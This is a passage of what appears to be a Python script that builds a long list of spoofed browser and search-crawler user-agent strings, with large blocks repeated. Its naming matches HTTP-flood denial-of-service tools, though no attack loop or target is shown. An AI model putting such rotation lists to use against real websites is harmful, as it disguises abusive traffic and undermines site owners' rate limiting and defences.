CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)') headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)') headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7') headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com') headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)') headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)') headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)') headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)') headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)') headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)') headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1') headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)') headers_useragents.append('Mozilla/5.0 